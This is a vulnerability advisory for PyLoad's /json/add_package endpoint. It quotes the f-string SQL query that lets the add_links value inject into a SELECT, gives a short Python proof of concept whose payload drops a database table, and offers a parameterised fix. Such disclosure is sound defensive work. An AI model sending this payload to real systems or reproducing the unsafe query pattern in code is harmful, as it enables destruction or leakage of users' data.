PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
Affected code:

@style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

PoC

import requests if __name__ == "__main__": url = "http://localhost:8000/json/add_package" data = { "add_name": "My Downloads1", "add_dest": "0", "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "add_password": "mypassword" } response = requests.post(url, cookies=your_cookies, data=data) print(response.status_code, response.text)

Remediation

def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询，避免SQL注入 placeholders = ','.join(['?'] * len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids

Impact

Attackers can modify or delete data in the database, causing data errors or loss.
